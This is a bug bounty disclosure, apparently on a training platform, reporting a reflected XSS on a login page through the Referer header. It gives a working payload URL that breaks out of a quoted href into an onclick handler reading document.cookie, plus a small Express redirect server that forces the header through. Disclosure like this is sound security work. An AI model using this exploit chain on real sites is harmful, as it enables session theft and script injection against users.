BugBountyHunter

The site contains is vulnerable to Reflective XSS on the /login.php endpoint. It reflects the Referer header value inside the "Return to previous page" link's href (in single quotes).

Steps to reproduce:

1. Open this url http://ztn.me/test'onclick=alert(document.cookie);return(false)//

It is hosted on my server:

const express = require('express');

const app = express();

app.get('*', (req, res) => {
  res.set('Referrer-Policy', 'unsafe-url');
  res.set('Content-Type', 'text/html');
  res.end('<script>location.replace("https://fcde991cdbc2-panya.a.firstbloodhackers.com/login.php");</script>');
});

app.listen(80);

2. The browser will redirect you to https://fcde991cdbc2-panya.a.firstbloodhackers.com/login.php
3. Click on the "Return to previous page" link.

Actual result:

There will be an alert with the user's document.cookie value (doctorAuthed=eyJkb2N0b3JBdXRoIjphdXRoZWR9 in our case).

Expected result:

The Referer header's value should be properly escaped or sanitized. The alert should not be shown.

Impact:

An attacker could execute JS code on behalf of a user of this site.